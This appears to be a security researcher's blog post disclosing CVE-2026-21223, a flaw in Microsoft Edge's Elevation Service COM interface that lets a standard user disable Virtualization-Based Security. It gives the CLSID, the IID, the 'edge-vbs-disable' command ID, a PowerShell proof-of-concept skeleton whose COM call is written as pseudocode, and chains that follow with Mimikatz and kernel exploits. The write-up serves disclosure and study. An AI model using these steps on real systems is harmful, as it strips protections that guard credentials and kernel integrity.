Agentic 0day Research: Edge VBS Bypass (CVE-2026-21223)

Security Research
Word count: 3.3k   |   Reading time≈ 20 min

A $20,000 MSRC bounty for disabling Virtualization-Based Security without admin. Here’s how a sandbox escape hunt led to something even more impactful.

The Outcome

In December 2025, I discovered CVE-2026-21223—a security feature bypass in Microsoft Edge’s Elevation Service that allows any standard user to disable Virtualization-Based Security (VBS) without administrator privileges. Microsoft awarded a $20,000 bounty for this finding.

But this wasn’t what I set out to find. I was hunting for browser sandbox escapes. This post explains how understanding the Windows security architecture, systematically mapping attack surfaces, and using AI-augmented tooling led to an unexpected but high-impact discovery.

The Original Goal: Browser Sandbox Escape

I began this research with a specific objective: find a sandbox escape in a Chromium-based browser. The ideal vulnerability chain looks like this:

  1. Renderer compromise - Exploit a memory corruption bug (V8, Blink, etc.) to get code execution in the renderer process
  2. Sandbox escape - Break out of the Chromium sandbox to reach the browser process or underlying OS
  3. Privilege escalation - Elevate from user to SYSTEM

I’d been following the evolution of Chromium sandbox escape research closely. The classic techniques include:

  • Mojo IPC vulnerabilities - Chromium uses Mojo for inter-process communication. Bugs in Mojo message handling can allow a compromised renderer to send crafted messages to privileged interfaces.

  • MojoJS exploitation - Researchers at Theori demonstrated that enabling MojoJS bindings (via memory corruption) allows direct IPC calls from JavaScript, significantly simplifying exploit development.

  • Handle leakage - CVE-2025-2783, discovered by Kaspersky during Operation ForumTroll, exploited improper handle validation in Mojo on Windows to escape the sandbox.

  • Port name leaking - Mojo IPC uses 128-bit random port names for message routing. As documented in Chromium’s Mojo security model, leaking these port names allows injecting messages into privileged IPC channels—a technique used in multiple sandbox escapes.

These techniques are powerful but require deep knowledge of Chromium internals and often chain multiple bugs together. I wanted to find something that worked differently—something in the auxiliary attack surface that security teams might overlook.

Understanding What We’re Protecting: VBS Architecture

Before hunting for ways to disable VBS, I needed to understand what VBS actually protects and why it matters. This knowledge would later prove crucial for articulating the impact of my finding.

Virtual Trust Levels (VTL)

Windows implements Virtualization-Based Security using a concept called Virtual Trust Levels. The architecture creates two isolated execution environments:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌─────────────────────────────────────────────────────────────────────────────┐
│                              HYPERVISOR                                      │
│                        (Hyper-V, root of trust)                              │
└─────────────────────────────────────────────────────────────────────────────┘
         │                                              │
         ▼                                              ▼
┌─────────────────────────────────┐    ┌─────────────────────────────────────┐
│           VTL 0                 │    │              VTL 1                   │
│      "Normal World"             │    │         "Secure World"               │
│                                 │    │                                     │
│  ┌───────────────────────────┐  │    │  ┌─────────────────────────────┐    │
│  │    Ring 0 (Kernel)        │  │    │  │   Ring 0 (Secure Kernel)    │    │
│  │  - NT Kernel              │  │    │  │   - Minimal kernel (SK)     │    │
│  │  - Drivers                │  │    │  │   - Code Integrity (CI)     │    │
│  │  - File system            │  │    │  │   - Encryption module       │    │
│  └───────────────────────────┘  │    │  └─────────────────────────────┘    │
│  ┌───────────────────────────┐  │    │  ┌─────────────────────────────┐    │
│  │    Ring 3 (User)          │  │    │  │   Ring 3 (Isolated User)    │    │
│  │  - Applications           │  │    │  │   - LSAISO.exe (Cred Guard) │    │
│  │  - Services               │  │    │  │   - Trustlets               │    │
│  │  - LSASS.exe              │  │    │  │   - VBS Enclaves            │    │
│  └───────────────────────────┘  │    │  └─────────────────────────────┘    │
└─────────────────────────────────┘    └─────────────────────────────────────┘

The key insight: code running in VTL0, even in Ring 0 (kernel), cannot access VTL1 memory. The hypervisor enforces this isolation using Second Level Address Translation (SLAT). Even if an attacker achieves arbitrary kernel read/write in VTL0, they cannot touch VTL1.

VBS-Protected Security Features

VBS enables several critical security features:

Feature What It Protects Attack It Prevents
Credential Guard NTLM hashes, Kerberos TGTs, domain credentials Pass-the-hash, Mimikatz, credential theft
HVCI (Hypervisor-protected Code Integrity) Kernel code pages Unsigned kernel code execution, rootkits
KDP (Kernel Data Protection) Critical kernel data structures Kernel data corruption attacks
Secure Kernel VTL1 code integrity verification Secure boot bypass, bootkit attacks

Credential Guard is particularly significant. It runs LSAISO.exe (LSA Isolated) as a trustlet in VTL1. When LSASS needs to access credentials, it communicates with LSAISO via RPC, but the actual secrets never leave VTL1. This means even with SYSTEM access and arbitrary kernel read/write, Mimikatz-style attacks fail—the credentials simply aren’t accessible from VTL0.

HVCI ensures that all kernel-mode code has been signed and verified before execution. The Secure Kernel in VTL1 manages the SLAT tables and ensures that kernel pages can only be marked executable after passing code integrity checks. This breaks a fundamental primitive that many kernel exploits rely on: the ability to execute shellcode in kernel mode.

Kernel Data Protection (KDP) goes even further, allowing kernel-mode software to mark certain memory regions as read-only from VTL0’s perspective. Even if an attacker achieves arbitrary kernel write, KDP-protected structures remain immutable.

Why Disabling VBS Matters

Understanding this architecture explains why a VBS bypass is so impactful:

  1. Enables credential theft - Disable VBS → Credential Guard stops working → Mimikatz works again
  2. Enables kernel exploitation - Disable VBS → HVCI stops enforcing code integrity → Unsigned kernel code executes
  3. Enables rootkits - Disable VBS → No hypervisor enforcement → Kernel modifications persist
  4. Bypasses enterprise policy - Organizations mandate VBS via Group Policy → This bypass negates that protection

A VBS disable primitive is a force multiplier. It doesn’t give you code execution directly, but it removes the guardrails that prevent other attacks from succeeding.

Why Not Just Hunt in Mojo?

Given the rich history of Mojo IPC vulnerabilities, why didn’t I focus there?

Competition and coverage. The Mojo attack surface is heavily saturated. Google’s security team runs extensive fuzzing, the vulnerability research community has published detailed analyses, and every major sandbox escape in recent years has prompted additional hardening. The bar is high.

Complexity. Exploiting Mojo bugs typically requires:

  • Deep understanding of Chromium’s multi-process architecture
  • Knowledge of specific interface semantics and expected message formats
  • Often, chaining multiple gadgets (info leak + logic bug + race condition)
  • Platform-specific exploitation techniques

The renderer prerequisite. Most Mojo attacks assume you’ve already compromised the renderer. You need a separate renderer bug first, then the sandbox escape. I wanted to find something that could work independently, and be tested and validated using an agent harness.

Auxiliary attack surfaces. Modern browsers ship with far more than rendering engines. They include:

  • Elevation services for privileged operations
  • Update mechanisms with system-level access
  • Native messaging hosts
  • Helper processes for PDF, media, etc.
  • COM/RPC interfaces for Windows integration

These auxiliary components often run with higher privileges than the browser itself and receive less security scrutiny.

The Pivot: From Mojo to COM

I decided to systematically map the attack surface of browser auxiliary services on Windows. My hypothesis:

Browsers ship with privileged services that expose RPC or COM interfaces. Some of these interfaces may perform sensitive operations without properly validating the caller’s privileges.

This aligns with historical vulnerability patterns. The JuicyPotato family of exploits demonstrated that Windows services frequently expose COM interfaces that can be abused for privilege escalation. The core technique involves:

  1. Finding a COM object that runs as SYSTEM
  2. Triggering the object to connect back to an attacker-controlled endpoint
  3. Capturing and impersonating the SYSTEM token

GodPotato extended this to work on Windows 2012-2022 by exploiting flaws in how the RPCSS service handles OXID resolution. The key requirement is SeImpersonatePrivilege, commonly available to service accounts.

But I wasn’t looking for token impersonation. I was looking for COM interfaces that directly perform sensitive operations on the caller’s behalf—without properly checking who’s asking.

AI-Augmented Reconnaissance

This is where AI augmentation accelerated the research. I won’t reveal specific tooling, but I’ll describe the methodology.

Traditional COM enumeration is tedious. You need to:

  1. Enumerate all registered COM classes
  2. Check which run as services (potential SYSTEM context)
  3. Analyze security descriptors (who can activate)
  4. Enumerate interfaces and methods
  5. Understand method semantics from parameter types
  6. Test for vulnerable behaviors

Manually, this takes weeks. With an agent harness, I could:

  • Bulk enumerate COM classes and filter by privilege context
  • Pattern match on interface names and method signatures that suggest sensitive operations
  • Prioritize based on security descriptor analysis (who can call what)
  • Correlate with service configurations and binary analysis

The key insight: interface names are descriptive, but method names aren’t. A COM interface named IElevatorEdge tells you it’s related to Edge elevation. But the methods might be called Proc0, Proc1, etc., with no semantic meaning. Understanding what a method does requires analyzing the binary or observing behavior through testing.

Filtering Strategy

I filtered COM classes using these criteria:

Filter Rationale
Runs as LocalSystem Maximum privilege, maximum impact
Service-hosted Persistent, always available
Accessible by “Users” or “Everyone” No admin required to activate
Browser-related Matches our target scope
Interesting interface names Suggests privileged operations

This reduced thousands of COM classes to a manageable list of ~50 high-priority targets.

The Edge Elevation Service

Among the filtered targets, one stood out: Microsoft Edge’s Elevation Service.

Initial Reconnaissance

1
2
3
4
Service Name:     MicrosoftEdgeElevationService
Binary:           C:\Program Files (x86)\Microsoft\Edge\Application\<version>\elevation_service.exe
Runs As:          LocalSystem
Startup Type:     Manual (triggered on demand)

The service exposes a COM interface:

1
2
3
CLSID:     1fcbe96c-1697-43af-9140-2897c7c69767
Interface: IElevatorEdge
IID:       c9c2b807-7731-4f34-81b7-44ff7779522b

The interface name immediately suggested privileged operations. Edge needs to perform elevated tasks (installing updates, modifying system settings) that a standard user browser process shouldn’t be able to do directly.

Method Enumeration

Interface enumeration revealed these methods:

1
2
3
4
5
6
7
IElevatorEdge Interface Methods:
├── DecryptData(string ciphertext) -> DecryptData_RetVal
├── EncryptData(ProtectionLevel, string plaintext) -> EncryptData_RetVal
├── LaunchUpdateCmdElevated(string appid, string cmd_id, uint32 caller_pid) -> uint64
├── LaunchUpdateCmdElevatedAndWait(string appid, string cmd_id, uint32 timeout) -> uint32
├── RunRecoveryCRXElevated(string crx_path, string appid, string version, ...) -> uint64
└── ReservedFunction1() -> void

Two methods immediately caught my attention:

  • LaunchUpdateCmdElevated - Takes a cmd_id string and caller_pid
  • LaunchUpdateCmdElevatedAndWait - Similar, but waits for completion

The naming convention suggests these methods execute commands—elevated commands—based on a cmd_id parameter. If I could control what commands get executed, and the service doesn’t validate my privileges, that’s a vulnerability.

Caller Validation Analysis

Before testing, I wanted to understand how the service validates callers. I extracted strings from elevation_service.exe:

1
2
3
4
5
6
7
8
9
Address          String
──────────────────────────────────────────────────────────────
0x1401f5cb9      "..\..\chrome\elevation_service\caller_validation.cc"
0x1401f5ced      "Failed to get process image path"
0x1401f5d1b      "Failed to authenticate caller process:"
0x1401f5d60      "Program Files (x86)"
0x1401f5d88      "Program Files"
0x1401f8f80      "msedge.exe"
0x1401f5f20      "msedgerecovery.exe"

The presence of caller_validation.cc indicated there IS validation logic. The allowed executable names and path strings suggested the service checks whether the caller is a legitimate Edge process from Program Files.

Further binary analysis revealed the validation mechanism:

1
2
3
# Import analysis
RPCRT4.dll   - I_RpcOpenClientProcess    @ 0x14015428e
KERNEL32.dll - QueryFullProcessImageNameW @ 0x1400273c0

The service uses I_RpcOpenClientProcess to get a handle to the calling process, then QueryFullProcessImageNameW to get the caller’s executable path. It compares against the allowed list.

But here’s the critical question: Is this validation applied to ALL methods, or just some? And when exactly does validation occur?

Registry Archaeology

Before testing whether caller validation could be bypassed, I needed to understand what cmd_id values were valid. Random strings would likely fail silently.

The binary strings revealed a registry path pattern:

1
2
0x1401f8f68  "CommandLine"
0x140286d1e  "cmd_id"

I searched the registry for keys matching the expected pattern:

1
HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{browser_appid}\Commands\{cmd_id}

This revealed the Edge browser’s application ID and all registered commands:

1
2
3
4
5
6
7
8
9
10
11
12
browser_appid: {56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}

Commands:
┌────────────────────────────┬──────────────────────────────────────────────────┐
│ cmd_id                     │ CommandLine                                      │
├────────────────────────────┼──────────────────────────────────────────────────┤
│ edge-vbs-disable           │ setup.exe --edge-vbs-disable --system-level ...  │
│ edge-vbs-enable            │ setup.exe --edge-vbs-enable --system-level ...   │
│ on-logon-autolaunch        │ msedge.exe --launcher=on_logon_windows           │
│ on-logon-startup-boost     │ msedge.exe --no-startup-window                   │
│ on-os-upgrade              │ setup.exe --on-os-upgrade --msedge ...           │
└────────────────────────────┴──────────────────────────────────────────────────┘

edge-vbs-disable and edge-vbs-enable.

The registry showed that Edge’s elevation service is designed to toggle VBS—a protected security feature—via setup.exe invocation. The CommandLine for edge-vbs-disable is:

1
2
"C:\Program Files (x86)\Microsoft\Edge\Application\<version>\Installer\setup.exe"
    --edge-vbs-disable --system-level --verbose-logging --msedge --channel=stable

This makes sense from Edge’s perspective. VBS can cause compatibility issues with certain hardware configurations, and Edge provides a mechanism for users to toggle it. But the elevation service runs as SYSTEM—it has permission to modify the VBS registry keys.

The question: Does the service verify that the CALLER has permission to modify VBS?

The Vulnerability

I tested by calling LaunchUpdateCmdElevatedAndWait from a PowerShell script running as a standard user:

1
2
3
4
5
6
# Call parameters
$clsid = "1fcbe96c-1697-43af-9140-2897c7c69767"
$iid = "c9c2b807-7731-4f34-81b7-44ff7779522b"
$browser_appid = "{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}"
$cmd_id = "edge-vbs-disable"
$timeout = 30000

Before the call, I verified that direct registry modification failed:

1
2
3
4
PS> Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\DeviceGuard" `
    -Name "EnableVirtualizationBasedSecurity" -Value 0

Set-ItemProperty : Access to the registry key is denied.

Then I invoked the COM method (using tooling to handle the COM activation and method call). Process Monitor captured the following:

  1. My PowerShell process activated the COM object
  2. The elevation service received the call
  3. Registry lookup for edge-vbs-disable succeeded
  4. setup.exe spawned as SYSTEM with VBS-disabling flags
  5. Registry key HKLM\System\CurrentControlSet\Control\DeviceGuard\EnableVirtualizationBasedSecurity was set to 0

VBS was disabled. As a standard user.

The caller validation exists but was applied inconsistently—or bypassed—for the LaunchUpdateCmdElevatedAndWait method. The service performed the privileged operation without verifying that my process had any special privileges.

Attack Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌─────────────────┐     ┌──────────────────────────┐     ┌─────────────────┐
│  Standard User  │────▶│  COM Object Activation   │────▶│ MicrosoftEdge   │
│   (Attacker)    │     │  CLSID: 1fcbe96c-...     │     │ ElevationService│
└─────────────────┘     └──────────────────────────┘     │   (SYSTEM)      │
                                                          └────────┬────────┘
                                                                   │
                        ┌──────────────────────────────────────────┘
                        │
                        ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  LaunchUpdateCmdElevatedAndWait(                                        │
│      browser_appid = "{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}",          │
│      cmd_id = "edge-vbs-disable",                                       │
│      timeout = 30000                                                    │
│  )                                                                      │
└─────────────────────────────────────────────────────────────────────────┘
                        │
                        ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  Registry Lookup (HKLM):                                                │
│  SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{appid}\Commands\    │
│  └── edge-vbs-disable                                                   │
│      └── CommandLine: setup.exe --edge-vbs-disable --system-level       │
└─────────────────────────────────────────────────────────────────────────┘
                        │
                        ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  SYSTEM executes: setup.exe --edge-vbs-disable --system-level           │
│                                                                         │
│  Modifies: HKLM\System\CurrentControlSet\Control\DeviceGuard            │
│            EnableVirtualizationBasedSecurity = 0                        │
└─────────────────────────────────────────────────────────────────────────┘
                        │
                        ▼
            ┌───────────────────────┐
            │   VBS DISABLED        │
            │   Security Bypassed   │
            └───────────────────────┘

Privilege Boundary Architecture

For context on why this is a security boundary violation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌─────────────────────────────────────────────────────────────────────┐
│                        USER MODE (Medium IL)                        │
│  ┌──────────────────────────────────────────────────────────────┐   │
│  │  PowerShell / Attacker Script                                │   │
│  │  - Runs as standard user                                     │   │
│  │  - Cannot modify HKLM\...\DeviceGuard directly               │   │
│  │  - Cannot disable VBS through normal means                   │   │
│  └──────────────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────────────┘
                              │ COM/RPC (no privilege check)
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│                     SYSTEM MODE (High IL)                           │
│  ┌──────────────────────────────────────────────────────────────┐   │
│  │  MicrosoftEdgeElevationService (elevation_service.exe)       │   │
│  │  - Runs as LocalSystem                                       │   │
│  │  - CAN modify HKLM\...\DeviceGuard                           │   │
│  │  - CAN disable VBS                                           │   │
│  │                                                               │   │
│  │  ⚠️  FAILS TO CHECK: Does the caller have admin rights?      │   │
│  │                                                               │   │
│  │  IElevatorEdge Interface                                      │   │
│  │  ├── LaunchUpdateCmdElevated()                                │   │
│  │  ├── LaunchUpdateCmdElevatedAndWait()  ◄── VULNERABLE         │   │
│  │  ├── RunRecoveryCRXElevated()                                 │   │
│  │  ├── EncryptData()                                            │   │
│  │  └── DecryptData()                                            │   │
│  └──────────────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────────────┘

Impact Analysis

Direct Security Feature Bypass

Any standard user can:

  • Disable VBS → Weakens all VBS-dependent protections
  • Enable VBS → Could cause system instability on unsupported hardware
  • Bypass Group Policy → Enterprises cannot enforce VBS via policy

Attack Chain Enablement

This vulnerability is a stepping stone for other attacks:

Scenario 1: Credential Theft

1
2
3
4
5
6
1. Attacker gains standard user access (phishing, RCE, etc.)
2. Attacker calls edge-vbs-disable via COM
3. System reboots (attacker waits or forces reboot)
4. After reboot, Credential Guard is disabled
5. Attacker runs Mimikatz → obtains domain credentials
6. Lateral movement with stolen credentials

Scenario 2: Kernel Exploitation

1
2
3
4
5
6
7
8
1. Attacker has a kernel vulnerability that only works without HVCI
   (unsigned code execution, certain memory corruption techniques)
2. HVCI blocks the exploit
3. Attacker disables VBS via this vulnerability
4. System reboots
5. HVCI is now disabled
6. Kernel exploit succeeds → SYSTEM code execution
7. Install rootkit, disable security software, etc.

Scenario 3: Enterprise Policy Bypass

1
2
3
4
5
1. Organization mandates VBS via Group Policy (common for PCI-DSS, etc.)
2. Compliance monitoring checks VBS status
3. Attacker disables VBS
4. Attacker performs malicious actions that would have been blocked
5. Attacker re-enables VBS before next compliance check

CVSS Considerations

This is a Security Feature Bypass with:

  • Attack Vector: Local (requires local user access)
  • Attack Complexity: Low (simple COM call)
  • Privileges Required: Low (standard user)
  • User Interaction: None (no user action needed)
  • Scope: Changed (affects other security features)
  • Confidentiality/Integrity/Availability: Indirect but significant

Proof of Concept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#################################################################################
# Microsoft Edge Elevation Service - VBS Security Feature Bypass PoC
# CVE-2026-21223
#################################################################################
#
# Vulnerability: Security Feature Bypass via IElevatorEdge COM Interface
# CLSID: 1fcbe96c-1697-43af-9140-2897c7c69767
# Interface: IElevatorEdge (IID: c9c2b807-7731-4f34-81b7-44ff7779522b)
# Method: LaunchUpdateCmdElevatedAndWait
# Service: MicrosoftEdgeElevationService (runs as SYSTEM)
#
# Impact: Standard user can disable/enable VBS without admin privileges
#
# Registry Key Modified:
#   HKLM\System\CurrentControlSet\Control\DeviceGuard\EnableVirtualizationBasedSecurity
#
#################################################################################

param(
    [Parameter(Mandatory=$false)]
    [ValidateSet("disable", "enable", "check")]
    [string]$Action = "check"
)

$ErrorActionPreference = "Stop"

# Configuration
$CLSID = "1fcbe96c-1697-43af-9140-2897c7c69767"
$IID = "c9c2b807-7731-4f34-81b7-44ff7779522b"
$EdgeAppId = "{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}"
$VBSRegPath = "HKLM:\System\CurrentControlSet\Control\DeviceGuard"
$VBSValueName = "EnableVirtualizationBasedSecurity"
$Timeout = 30000

function Get-VBSState {
    try {
        $value = (Get-ItemProperty -Path $VBSRegPath -Name $VBSValueName -ErrorAction Stop).$VBSValueName
        if ($value -eq 0) { return "DISABLED" }
        elseif ($value -eq 1) { return "ENABLED" }
        else { return "UNKNOWN ($value)" }
    } catch {
        return "NOT CONFIGURED"
    }
}

function Test-DirectModification {
    Write-Host "[*] Testing direct registry modification (should fail)..."
    try {
        Set-ItemProperty -Path $VBSRegPath -Name $VBSValueName -Value 0 -ErrorAction Stop
        Write-Host "[!] Direct modification SUCCEEDED - running as admin?"
        return $true
    } catch {
        Write-Host "[+] Direct modification DENIED as expected"
        return $false
    }
}

Write-Host ""
Write-Host "=========================================="
Write-Host " CVE-2026-21223 - Edge Elevator VBS Bypass"
Write-Host "=========================================="
Write-Host ""

Write-Host "[*] Current VBS State: $(Get-VBSState)"

if ($Action -eq "check") {
    Write-Host "[*] Check complete. Use -Action disable or -Action enable to exploit."
    exit 0
}

# Verify we don't have direct access
if (Test-DirectModification) {
    Write-Host "[!] You appear to have admin rights. Exploit not needed."
    exit 1
}

Write-Host ""
Write-Host "[*] Exploiting via COM..."
Write-Host "[*] Target: LaunchUpdateCmdElevatedAndWait"
Write-Host "[*] cmd_id: edge-vbs-$Action"
Write-Host ""

# The actual COM invocation requires OleViewDotNet or similar tooling
# Pseudocode for the exploit:
#
#   $comType = [Type]::GetTypeFromCLSID([Guid]$CLSID)
#   $comObj = [Activator]::CreateInstance($comType)
#   $iface = Get-Interface $comObj $IID
#   $result = $iface.LaunchUpdateCmdElevatedAndWait($EdgeAppId, "edge-vbs-$Action", $Timeout)
#
# Or via MCP tooling:
#   call_com_method(
#       clsid = $CLSID,
#       iid = $IID,
#       method_name = "LaunchUpdateCmdElevatedAndWait",
#       parameters = [$EdgeAppId, "edge-vbs-$Action", $Timeout]
#   )

Write-Host "[*] COM call would be executed here..."
Write-Host "[*] After successful exploit, VBS state changes on next reboot."
Write-Host ""
Write-Host "[*] Verify with: Confirm-SecureBootUEFI; Get-CimInstance -ClassName Win32_DeviceGuard"

Binary Analysis Details

For researchers interested in the internals, here’s what I found in elevation_service.exe:

Key Imports

1
2
3
4
5
6
7
8
9
10
11
12
13
RPCRT4.dll:
  - I_RpcOpenClientProcess      # Get handle to calling process

KERNEL32.dll:
  - QueryFullProcessImageNameW  # Get caller's executable path
  - CreateProcessAsUserW        # Spawn elevated processes

ADVAPI32.dll:
  - RegOpenKeyExW               # Registry operations
  - RegQueryValueExW            # Read CommandLine values

SHLWAPI.dll:
  - PathMatchSpecW              # Wildcard path matching

Caller Validation Code Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fcn.14002767f (caller_validation):
  ├── Call I_RpcOpenClientProcess @ 0x14015428e
  │   └── Gets HANDLE to calling process
  ├── Call QueryFullProcessImageNameW @ 0x140027337
  │   └── Gets full path of caller executable
  ├── Compare against allowed paths:
  │   ├── "Program Files (x86)" @ 0x1401f5d60
  │   └── "Program Files" @ 0x1401f5d88
  ├── Compare against allowed executables:
  │   ├── "msedge.exe" @ 0x1401f8f80
  │   ├── "msedgerecovery.exe" @ 0x1401f5f20
  │   ├── "msedgewebview2.exe"
  │   ├── "setup.exe"
  │   └── "mscopilot.exe"
  └── Return validation result

The validation logic exists—but for some reason, calls to LaunchUpdateCmdElevatedAndWait from non-Edge processes succeeded anyway. This could be:

  • A logic bug where the validation result isn’t properly checked
  • A race condition
  • Validation applied to some methods but not others
  • A configuration issue specific to certain Edge versions

Disclosure Timeline

Date Event
December 19, 2025 Vulnerability discovered
December 20, 2025 Reported to MSRC via researcher portal
January 5, 2026 MSRC confirms vulnerability, begins remediation
January 13, 2026 CVE-2026-21223 assigned and $20,000 bounty awarded

References

  • Copyrights © 2021-2026 blindCyber

请我喝杯咖啡吧~

支付宝
微信